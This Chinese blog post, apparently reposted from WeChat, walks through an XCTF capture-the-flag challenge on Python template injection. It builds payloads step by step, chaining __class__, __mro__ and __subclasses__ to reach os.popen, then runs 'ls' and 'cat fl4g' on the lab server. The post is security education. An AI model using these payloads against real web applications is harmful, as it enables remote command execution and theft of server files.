hello各位亲爱的读者们,本期小编要给大家带来的漏洞介绍是python的模板注入,实战环境是攻防世界(https://adworld.xctf.org.cn/)web高阶题目Web_python_template_injection这套环境,废话不多说,我们启动环境后进入网站:
进入目标网站我们发现整个网站只有一行提示:
从这里我们可以猜测,注入点一定和python模板注入有关,我们先用payload:{{ 2+2 }}来测试一下是否存在注入点
可以看到网站上回显了2+2的结果,说明存在模板注入的漏洞。
那么在这里小编给大家介绍一下常用于模板注入的相关函数:
下面让小编带着大家一步步来获取flag吧!
1.我们来构造第一个payload:获取字符串的类对象
输入payload:{{ ‘ ‘.__class__ }},(注:单引号中间为空格),看到网站回显是字符串的类对象
2.接下来我们使用__mro__方法来查找对象所继承的基类
输入payload: {{ ‘ ‘.__class__.__mro__ }} ,网站回显为:
3.可以看见网站返回了三个基类,这三个基类任选一个都可以,我们选择第三个,所以我们第三个payload是:{{ ‘ ‘.__class__.__mro__ [2].__subclasses__() }},网站回显为:
4.我们从这些回显中选择第71个引用,用它来构造命令执行的payload
Payload: {{ ‘ ‘.__class__.__mro__ [2].__subclasses__()[71] }},网站回显为:
5.最后一步,我们构造的payload为:(popen执行ls打印所有文件)
{{‘‘.__class__.__mro__ [2].__subclasses__()[71].__init__.__globals__[ ‘os’ ].popen( “ls” ).read()}}
6.我们看见当前目录下面有一个fl4g的文件,但是没有注明文件类型,我们把ls换成cat fl4g,即:
{{‘‘.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[‘os’].popen(“cat fl4g” ).read()}} ,网站回显为:
至此拿到了我们的flag!
部分来源于网络|侵删
中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。
为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习。想加入我们就给我们留言吧
。
原文始发于微信公众号(寰宇卫士):Web安全之python模板注入实战
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论